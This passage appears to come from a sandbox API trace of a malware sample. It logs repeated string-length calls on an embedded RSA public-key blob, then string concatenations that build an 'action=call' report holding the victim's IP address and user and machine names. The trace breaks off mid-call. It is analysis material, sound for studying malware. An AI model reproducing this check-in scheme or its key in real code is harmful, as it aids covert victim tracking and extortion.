(lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.348] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.349] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.350] lstrcatW (in: lpString1="", lpString2="action=call&" | out: lpString1="action=call&") returned="action=call&" [0128.350] lstrlenW (lpString="action=call&") returned 12 [0128.350] lstrcatW (in: lpString1="", lpString2="ip" | out: lpString1="ip") returned="ip" [0128.350] lstrcatW (in: lpString1="ip", lpString2="=" | out: lpString1="ip=") returned="ip=" [0128.350] lstrcatW (in: lpString1="ip=", lpString2="87.142.158.201" | out: lpString1="ip=87.142.158.201") returned="ip=87.142.158.201" [0128.350] lstrcatW (in: lpString1="ip=87.142.158.201", lpString2="&" | out: lpString1="ip=87.142.158.201&") returned="ip=87.142.158.201&" [0128.350] lstrcatW (in: lpString1="ip=87.142.158.201&", lpString2="pc_user" | out: lpString1="ip=87.142.158.201&pc_user") returned="ip=87.142.158.201&pc_user" [0128.350] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=") returned="ip=87.142.158.201&pc_user=" [0128.350] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=", lpString2="CIiHmnxMn6Ps" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps" [0128.350] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&", lpString2="pc_name" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name", lpString2="=" | out: 